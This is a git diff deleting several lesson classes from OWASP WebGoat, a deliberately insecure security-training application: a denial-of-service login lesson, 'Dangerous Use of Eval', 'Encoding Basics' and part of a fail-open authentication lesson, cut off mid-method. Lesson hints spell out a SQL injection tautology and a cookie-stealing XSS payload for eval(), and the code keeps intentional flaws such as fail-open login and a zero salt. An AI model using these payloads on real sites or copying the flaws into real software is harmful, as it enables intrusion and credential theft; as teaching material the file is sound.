Catching this exception prevents the "Error generating - * org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note - * that if we are missing a parameter in the request, we do not want to continue - * processing and we simply want to display the default login page. - */ - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - } - - return (ec.addElement(makeLogin(s))); - } - - /** - * Gets the category attribute of the WeakAuthenticationCookie object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.DOS; - } - - /** - * Gets the hints attribute of the CookieScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Use a SQL Injection to obtain the user names. "); - hints - .add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'"); - hints.add("Try "dont_care' or '1' = '1" in the password field"); - return hints; - } - - private final static Integer DEFAULT_RANKING = new Integer(90); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the CookieScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Denial of Service from Multiple Logins"); - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element makeLogin(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - // add the login fields - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR row1 = new TR(); - TR row2 = new TR(); - row1.addElement(new TD(new StringElement("User Name: "))); - row2.addElement(new TD(new StringElement("Password: "))); - - Input input1 = new Input(Input.TEXT, USERNAME, ""); - Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); - row1.addElement(new TD(input1)); - row2.addElement(new TD(input2)); - t.addElement(row1); - t.addElement(row2); - - Element b = ECSFactory.makeButton("Login"); - t.addElement(new TR(new TD(b))); - ec.addElement(t); - - return (ec); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/DangerousEval.java b/src/main/java/org/owasp/webgoat/lessons/DangerousEval.java deleted file mode 100644 index 707e00e53..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/DangerousEval.java +++ /dev/null @@ -1,282 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import java.util.regex.Pattern; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.html.A; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.Center; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.HR; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TH; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Eric Sheridan, Aspect Security - * @created October 28, 2003 - */ - -public class DangerousEval extends LessonAdapter -{ - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - public final static String PASSED = "__DANGEROUS_EVAL_PASS"; - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String regex1 = "^[0-9]{3}$";// any three digits - Pattern pattern1 = Pattern.compile(regex1); - - try - { - checkSuccess(s); - - String param1 = s.getParser().getRawParameter("field1", "111"); - // String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 - // 0002 1999")); - float quantity = 1.0f; - float total = 0.0f; - float runningTotal = 0.0f; - - // FIXME: encode output of field2, then s.setMessage( field2 ); - ec.addElement(""); - // - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); - tr.addElement(new TH().addElement("Price").setWidth("10%")); - tr.addElement(new TH().addElement("Quantity").setWidth("3%")); - tr.addElement(new TH().addElement("Total").setWidth("7%")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); - tr.addElement(new TD().addElement("69.99").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right")); - quantity = s.getParser().getFloatParameter("QTY1", 0.0f); - total = quantity * 69.99f; - runningTotal += total; - tr.addElement(new TD().addElement("$" + total)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); - tr.addElement(new TD().addElement("27.99").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right")); - quantity = s.getParser().getFloatParameter("QTY2", 0.0f); - total = quantity * 27.99f; - runningTotal += total; - tr.addElement(new TD().addElement("$" + total)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel� Centrino�")); - tr.addElement(new TD().addElement("1599.99").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right")); - quantity = s.getParser().getFloatParameter("QTY3", 0.0f); - total = quantity * 1599.99f; - runningTotal += total; - tr.addElement(new TD().addElement("$" + total)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); - tr.addElement(new TD().addElement("299.99").setAlign("right")); - - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right")); - quantity = s.getParser().getFloatParameter("QTY4", 0.0f); - total = quantity * 299.99f; - runningTotal += total; - tr.addElement(new TD().addElement("$" + total)); - t.addElement(tr); - - ec.addElement(t); - - t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - ec.addElement(new BR()); - - tr = new TR(); - tr.addElement(new TD().addElement("The total charged to your credit card:")); - tr.addElement(new TD().addElement("$" + runningTotal)); - - Input b = new Input(); - b.setType(Input.BUTTON); - b.setValue("Update Cart"); - b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); - - tr.addElement(new TD().addElement(b)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Enter your credit card number:")); - tr.addElement(new TD() - .addElement("")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Enter your three digit access code:")); - tr.addElement(new TD().addElement("")); - // tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1))); - t.addElement(tr); - - b = new Input(); - b.setType(Input.BUTTON); - b.setValue("Purchase"); - b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); - - tr = new TR(); - tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); - t.addElement(tr); - - ec.addElement(t); - ec.addElement(new BR()); - ec.addElement(new HR().setWidth("90%")); - - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return (ec); - } - - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.AJAX_SECURITY; - } - - /** - * Gets the hints attribute of the AccessControlScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("The lesson is similar to the standard reflected cross-site scripting lesson."); - hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem."); - hints.add("The usual <SCRIPT>alert(document.cookie);</SCRIPT> will not work in this lesson. Why?"); - hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the < and > characters."); - hints.add("In order to pass this lesson, you must 'alert' the document.cookie."); - hints.add("Try 123');alert(document.cookie);('"); - return hints; - } - - - // - /** - * Gets the instructions attribute of the WeakAccessControl object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie."; - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(120); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - public String getTitle() - { - return "Dangerous Use of Eval"; - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } - - /** - * Check to see if JSP says they passed the lesson. - * - * @param s - */ - private void checkSuccess(WebSession s) - { - javax.servlet.http.HttpSession session = s.getRequest().getSession(); - - if (session.getAttribute(PASSED) != null) - { - makeSuccess(s); - - session.removeAttribute(PASSED); - } - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/Encoding.java b/src/main/java/org/owasp/webgoat/lessons/Encoding.java deleted file mode 100644 index 677473091..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/Encoding.java +++ /dev/null @@ -1,848 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.io.IOException; -import java.net.URLDecoder; -import java.net.URLEncoder; -import java.nio.ByteBuffer; -import java.nio.CharBuffer; -import java.nio.charset.Charset; -import java.nio.charset.CharsetDecoder; -import java.nio.charset.CharsetEncoder; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.util.ArrayList; -import java.util.List; -import javax.crypto.Cipher; -import javax.crypto.SecretKey; -import javax.crypto.SecretKeyFactory; -import javax.crypto.spec.PBEParameterSpec; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.html.A; -import org.apache.ecs.html.B; -import org.apache.ecs.html.Div; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.P; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; -import org.owasp.webgoat.util.HtmlEncoder; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Jeff Williams Aspect Security - * @created October 28, 2003 - */ - -public class Encoding extends LessonAdapter -{ - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - private final static String INPUT = "input"; - - private final static String KEY = "key"; - - // local encoders - - private static sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); - - private static sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); - - // encryption constant - - private static byte[] salt = { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, - (byte) 0x00, (byte) 0x00 }; - - /** - * Returns the base 64 decoding of a string. - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - * @exception IOException - * Description of the Exception - */ - - public static String base64Decode(String str) throws IOException - { - - byte[] b = decoder.decodeBuffer(str); - - return (new String(b)); - } - - /** - * Description of the Method - * - * @param c - * Description of the Parameter - * @return Description of the Return Value - * @exception IOException - * Description of the Exception - */ - - public static String base64Decode(char[] c) throws IOException - { - - return base64Decode(new String(c)); - } - - /** - * Description of the Method - * - * @param c - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String base64Encode(char[] c) - { - - return base64Encode(new String(c)); - } - - /** - * Returns the base 64 encoding of a string. - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String base64Encode(String str) - { - - byte[] b = str.getBytes(); - - return (encoder.encode(b)); - } - - /** - * Description of the Method - * - * @param b - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String base64Encode(byte[] b) - { - - return (encoder.encode(b)); - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - - protected Element createContent(WebSession s) - { - - ElementContainer ec = new ElementContainer(); - - try - { - - String userInput = s.getParser().getRawParameter(INPUT, ""); - - String userKey = s.getParser().getStringParameter(KEY, ""); - - Table table = new Table(); - - TR tr = new TR(); - - tr.addElement(new TD("Enter a string: ")); - - Input input = new Input(Input.TEXT, INPUT, userInput); - - tr.addElement(new TD().addElement(input)); - - table.addElement(tr); - - tr = new TR(); - - tr.addElement(new TD("Enter a password (optional): ")); - - Input key = new Input(Input.TEXT, KEY, userKey); - - tr.addElement(new TD().addElement(key)); - - table.addElement(tr); - - tr = new TR(); - - Element b = ECSFactory.makeButton("Go!"); - - tr.addElement(new TD().setAlign("center").setColSpan(2).addElement(b)); - - table.addElement(tr); - - ec.addElement(table); - - ec.addElement(new P()); - - Table t = new Table(); - - t.setWidth("100%"); - - t.setBorder(0); - - t.setCellSpacing(1); - - t.setCellPadding(4); - - String description; - - t.addElement(makeTitleRow("Description", "Encoded", "Decoded")); - - description = "Base64 encoding is a simple reversable encoding used to encode bytes into ASCII characters. Useful for making bytes into a printable string, but provides no security."; - - // t.addElement( makeDescriptionRow( description ) ); - t.addElement(makeRow(description, base64Encode(userInput), base64Decode(userInput))); - // t.addElement( makeSpacerRow() ); - - description = "Entity encoding uses special sequences like &amp; for special characters. This prevents these characters from being interpreted by most interpreters."; - - t.addElement(makeRow(description, HtmlEncoder.encode(userInput), HtmlEncoder.decode(userInput))); - - description = "Password based encryption (PBE) is strong encryption with a text password. Cannot be decrypted without the password"; - - t.addElement(makeRow(description, encryptString(userInput, userKey), decryptString(userInput, userKey))); - description = "MD5 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes. For obscure cryptographic reasons, it is better to use SHA-256 if you have a choice."; - - t.addElement(makeRow(description, hashMD5(userInput), "Cannot reverse a hash")); - - description = "SHA-256 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes."; - - t.addElement(makeRow(description, hashSHA(userInput), "N/A")); - - description = "Unicode encoding is..."; - - t.addElement(makeRow(description, "Not Implemented", "Not Implemented")); - - description = "URL encoding is..."; - - t.addElement(makeRow(description, urlEncode(userInput), urlDecode(userInput))); - - description = "Hex encoding simply encodes bytes into %xx format."; - - t.addElement(makeRow(description, hexEncode(userInput), hexDecode(userInput))); - - description = "Rot13 encoding is a way to make text unreadable, but is easily reversed and provides no security."; - - t.addElement(makeRow(description, rot13(userInput), rot13(userInput))); - - description = "XOR with password encoding is a weak encryption scheme that mixes a password into data."; - - t.addElement(makeRow(description, xorEncode(userInput, userKey), xorDecode(userInput, userKey))); - - description = "Double unicode encoding is..."; - - t.addElement(makeRow(description, "Not Implemented", "Not Implemented")); - - description = "Double URL encoding is..."; - - t.addElement(makeRow(description, urlEncode(urlEncode(userInput)), urlDecode(urlDecode(userInput)))); - - ec.addElement(t); - - } - - catch (Exception e) - { - - s.setMessage("Error generating " + this.getClass().getName()); - - e.printStackTrace(); - - } - - if (getLessonTracker(s).getNumVisits() > 3) - { - makeSuccess(s); - } - - return (ec); - } - - /** - * Convenience method for encrypting a string. - * - * @param str - * Description of the Parameter - * @param pw - * Description of the Parameter - * @return String the encrypted string. - */ - - public static synchronized String decryptString(String str, String pw) - { - - try - { - - PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec(salt, 20); - - SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); - - Cipher passwordDecryptCipher = Cipher.getInstance("PBEWithMD5AndDES/CBC/PKCS5Padding"); - - char[] pass = pw.toCharArray(); - - SecretKey k = kf.generateSecret(new javax.crypto.spec.PBEKeySpec(pass)); - - passwordDecryptCipher.init(Cipher.DECRYPT_MODE, k, ps); - - byte[] dec = decoder.decodeBuffer(str); - - byte[] utf8 = passwordDecryptCipher.doFinal(dec); - - return new String(utf8, "UTF-8"); - } - - catch (Exception e) - { - - return ("This is not an encrypted string"); - } - - } - - /** - * Convenience method for encrypting a string. - * - * @param str - * Description of the Parameter - * @param pw - * Description of the Parameter - * @return String the encrypted string. - * @exception SecurityException - * Description of the Exception - */ - - public static synchronized String encryptString(String str, String pw) throws SecurityException - { - - try - { - - PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec(salt, 20); - - SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); - - Cipher passwordEncryptCipher = Cipher.getInstance("PBEWithMD5AndDES/CBC/PKCS5Padding"); - - char[] pass = pw.toCharArray(); - - SecretKey k = kf.generateSecret(new javax.crypto.spec.PBEKeySpec(pass)); - - passwordEncryptCipher.init(Cipher.ENCRYPT_MODE, k, ps); - - byte[] utf8 = str.getBytes("UTF-8"); - - byte[] enc = passwordEncryptCipher.doFinal(utf8); - - return encoder.encode(enc); - } - - catch (Exception e) - { - - return ("Encryption error"); - } - - } - - /** - * Gets the category attribute of the Encoding object - * - * @return The category value - */ - - protected Category getDefaultCategory() - { - return Category.INSECURE_STORAGE; - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - - public List getHints(WebSession s) - { - - List hints = new ArrayList(); - hints.add("Enter a string and press 'go'"); - hints.add("Enter 'abc' and notice the rot13 encoding is 'nop' ( increase each letter by 13 characters )."); - hints.add("Enter 'a c' and notice the url encoding is 'a+c' ( ' ' is converted to '+' )."); - return hints; - } - - /** - * Gets the instructions attribute of the Encoding object - * - * @return The instructions value - */ - - public String getInstructions(WebSession s) - { - return "This lesson will familiarize the user with different encoding schemes. "; - } - - private final static Integer DEFAULT_RANKING = new Integer(15); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - - public String getTitle() - { - return ("Encoding Basics"); - } - - /** - * Returns the MD5 hash of a String. - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String hashMD5(String str) - { - - byte[] b = str.getBytes(); - MessageDigest md = null; - - try - { - md = MessageDigest.getInstance("MD5"); - md.update(b); - } catch (NoSuchAlgorithmException e) - { - // it's got to be there - e.printStackTrace(); - } - return (base64Encode(md.digest())); - } - - /** - * Returns the SHA hash of a String. - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String hashSHA(String str) - { - byte[] b = str.getBytes(); - MessageDigest md = null; - try - { - md = MessageDigest.getInstance("SHA-256"); - md.update(b); - } catch (NoSuchAlgorithmException e) - { - // it's got to be there - e.printStackTrace(); - } - return (base64Encode(md.digest())); - } - - /** - * Description of the Method - * - * @param hexString - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String hexDecode(String hexString) - { - try - { - if ((hexString.length() % 3) != 0) { return ("String not comprised of Hex digit pairs."); } - char[] chars = new char[hexString.length()]; - char[] convChars = new char[hexString.length() / 3]; - hexString.getChars(0, hexString.length(), chars, 0); - for (int i = 1; i < hexString.length(); i += 3) - { - String hexToken = new String(chars, i, 2); - convChars[i / 3] = (char) Integer.parseInt(hexToken, 16); - } - return new String(convChars); - } catch (NumberFormatException nfe) - { - return ("String not comprised of Hex digits"); - } - } - - /** - * Description of the Method - * - * @param asciiString - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String hexEncode(String asciiString) - { - char[] ascii = new char[asciiString.length()]; - asciiString.getChars(0, asciiString.length(), ascii, 0); - StringBuffer hexBuff = new StringBuffer(); - for (int i = 0; i < asciiString.length(); i++) - { - hexBuff.append("%"); - hexBuff.append(Integer.toHexString(ascii[i])); - } - return hexBuff.toString().toUpperCase(); - } - - /** - * The main program for the Encoding class - * - * @param args - * The command line arguments - */ - - public static void main(String[] args) - { - try - { - String userInput = args[0]; - String userKey = args[1]; - System.out.println("Working with: " + userInput); - System.out.print("Base64 encoding: "); - System.out.println(base64Encode(userInput) + " : " + base64Decode(userInput)); - System.out.print("Entity encoding: "); - System.out.println(HtmlEncoder.encode(userInput) + " : " + HtmlEncoder.decode(userInput)); - System.out.print("Password based encryption (PBE): "); - System.out.println(encryptString(userInput, userKey) + " : " + decryptString(userInput, userKey)); - System.out.print("MD5 hash: "); - System.out.println(hashMD5(userInput) + " : " + "Cannot reverse a hash"); - System.out.print("SHA-256 hash: "); - System.out.println(hashSHA(userInput) + " : " + "Cannot reverse a hash"); - System.out.print("Unicode encoding: "); - System.out.println("Not Implemented" + " : " + "Not Implemented"); - System.out.print("URL encoding: "); - System.out.println(urlEncode(userInput) + " : " + urlDecode(userInput)); - System.out.print("Hex encoding: "); - System.out.println(hexEncode(userInput) + " : " + hexDecode(userInput)); - System.out.print("Rot13 encoding: "); - System.out.println(rot13(userInput) + " : " + rot13(userInput)); - System.out.print("XOR with password: "); - System.out.println(xorEncode(userInput, userKey) + " : " + xorDecode(userInput, userKey)); - System.out.print("Double unicode encoding is..."); - System.out.println("Not Implemented" + " : " + "Not Implemented"); - System.out.print("Double URL encoding: "); - System.out.println(urlEncode(urlEncode(userInput)) + " : " + urlDecode(urlDecode(userInput))); - } catch (Exception e) - { - e.printStackTrace(); - } - } - - /** - * Description of the Method - * - * @param value1 - * Description of the Parameter - * @param value2 - * Description of the Parameter - * @param description - * Description of the Parameter - * @return Description of the Return Value - */ - - private TR makeRow(String description, String value1, String value2) - { - - TD desc = new TD().addElement(description).setBgColor("#bbbbbb"); - TD val1 = new TD() - .addElement(new Div().addElement(value1).setStyle("overflow:auto; height:60px; width:100px;")) - .setBgColor("#dddddd"); - TD val2 = new TD() - .addElement(new Div().addElement(value2).setStyle("overflow:auto; height:60px; width:100px;")) - .setBgColor("#dddddd"); - TR tr = new TR(); - - tr.addElement(desc); - tr.addElement(val1); - tr.addElement(val2); - - return tr; - } - - /** - * Description of the Method - * - * @param value1 - * Description of the Parameter - * @param value2 - * Description of the Parameter - * @param description - * Description of the Parameter - * @return Description of the Return Value - */ - - private TR makeTitleRow(String description, String value1, String value2) - { - TD desc = new TD().addElement(new B().addElement(description)); - TD val1 = new TD().addElement(new B().addElement(value1)); - TD val2 = new TD().addElement(new B().addElement(value2)); - desc.setAlign("center"); - val1.setAlign("center"); - val2.setAlign("center"); - TR tr = new TR(); - tr.addElement(desc); - tr.addElement(val1); - tr.addElement(val2); - return (tr); - } - - /** - * Description of the Method - * - * @param input - * Description of the Parameter - * @return Description of the Return Value - */ - - public static synchronized String rot13(String input) - { - StringBuffer output = new StringBuffer(); - if (input != null) - { - for (int i = 0; i < input.length(); i++) - { - char inChar = input.charAt(i); - if ((inChar >= 'A') & (inChar <= 'Z')) - { - inChar += 13; - if (inChar > 'Z') - { - inChar -= 26; - } - } - if ((inChar >= 'a') & (inChar <= 'z')) - { - inChar += 13; - if (inChar > 'z') - { - inChar -= 26; - } - } - output.append(inChar); - } - } - return output.toString(); - } - - /** - * Description of the Method - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String unicodeDecode(String str) - { - // FIXME: TOTALLY EXPERIMENTAL - - try - { - ByteBuffer bbuf = ByteBuffer.allocate(str.length()); - bbuf.put(str.getBytes()); - Charset charset = Charset.forName("ISO-8859-1"); - CharsetDecoder decoder = charset.newDecoder(); - CharBuffer cbuf = decoder.decode(bbuf); - return (cbuf.toString()); - } catch (Exception e) - { - return ("Encoding problem"); - } - } - - /** - * Description of the Method - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String unicodeEncode(String str) - { - // FIXME: TOTALLY EXPERIMENTAL - try - { - Charset charset = Charset.forName("ISO-8859-1"); - CharsetEncoder encoder = charset.newEncoder(); - ByteBuffer bbuf = encoder.encode(CharBuffer.wrap(str)); - return (new String(bbuf.array())); - } catch (Exception e) - { - return ("Encoding problem"); - } - } - - /** - * Description of the Method - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String urlDecode(String str) - { - try - { - return (URLDecoder.decode(str, "UTF-8")); - } catch (Exception e) - { - return ("Decoding error"); - } - } - - /** - * Description of the Method - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String urlEncode(String str) - { - try - { - return (URLEncoder.encode(str, "UTF-8")); - } catch (Exception e) - { - return ("Encoding error"); - } - } - - /** - * Description of the Method - * - * @param input - * Description of the Parameter - * @param userKey - * Description of the Parameter - * @return Description of the Return Value - */ - - public static synchronized char[] xor(String input, String userKey) - { - if ((userKey == null) || (userKey.trim().length() == 0)) - { - userKey = "Goober"; - } - char[] xorChars = userKey.toCharArray(); - int keyLen = xorChars.length; - char[] inputChars = null; - char[] outputChars = null; - if (input != null) - { - inputChars = input.toCharArray(); - outputChars = new char[inputChars.length]; - for (int i = 0; i < inputChars.length; i++) - { - outputChars[i] = (char) (inputChars[i] ^ xorChars[i % keyLen]); - } - } - return outputChars; - } - - /** - * Description of the Method - * - * @param input - * Description of the Parameter - * @param userKey - * Description of the Parameter - * @return Description of the Return Value - */ - - public static synchronized String xorDecode(String input, String userKey) - { - try - { - String decoded = base64Decode(input); - return new String(xor(decoded, userKey)); - } catch (Exception e) - { - return "String not XOR encoded."; - } - } - - /** - * Description of the Method - * - * @param input - * Description of the Parameter - * @param userKey - * Description of the Parameter - * @return Description of the Return Value - */ - - public static synchronized String xorEncode(String input, String userKey) - { - return base64Encode(xor(input, userKey)); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/FailOpenAuthentication.java b/src/main/java/org/owasp/webgoat/lessons/FailOpenAuthentication.java deleted file mode 100644 index d464d9646..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/FailOpenAuthentication.java +++ /dev/null @@ -1,185 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.html.A; -import org.apache.ecs.html.IMG; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Jeff Williams Aspect Security - * @created October 28, 2003 - */ -public class FailOpenAuthentication extends WeakAuthenticationCookie -{ - - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - boolean logout = s.getParser().getBooleanParameter(LOGOUT, false); - - if (logout) - { - s.setMessage("Goodbye!"); - s.eatCookies(); - - return (makeLogin(s)); - } - - try - { - String username = ""; - String password = ""; - - try - { - username = s.getParser().getRawParameter(USERNAME); - password = s.getParser().getRawParameter(PASSWORD); - - // if credentials are bad, send the login page - if (!"webgoat".equals(username) || !password.equals("webgoat")) - { - s.setMessage("Invalid username and password entered."); - - return (makeLogin(s)); - } - } catch (Exception e) - { - // The parameter was omitted. set fail open status complete - if (username.length() > 0 && e.getMessage().indexOf("not found") != -1) - { - if ((username != null) && (username.length() > 0)) - { - makeSuccess(s); - return (makeUser(s, username, "Fail Open Error Handling")); - } - } - } - - // Don't let the fail open pass with a blank password. - if (password.length() == 0) - { - // We make sure the username was submitted to avoid telling the user an invalid - // username/password was entered when they first enter the lesson via the side menu. - // This also suppresses the error if they just hit the login and both fields are - // empty. - if (username.length() != 0) - { - s.setMessage("Invalid username and password entered."); - } - - return (makeLogin(s)); - - } - - // otherwise 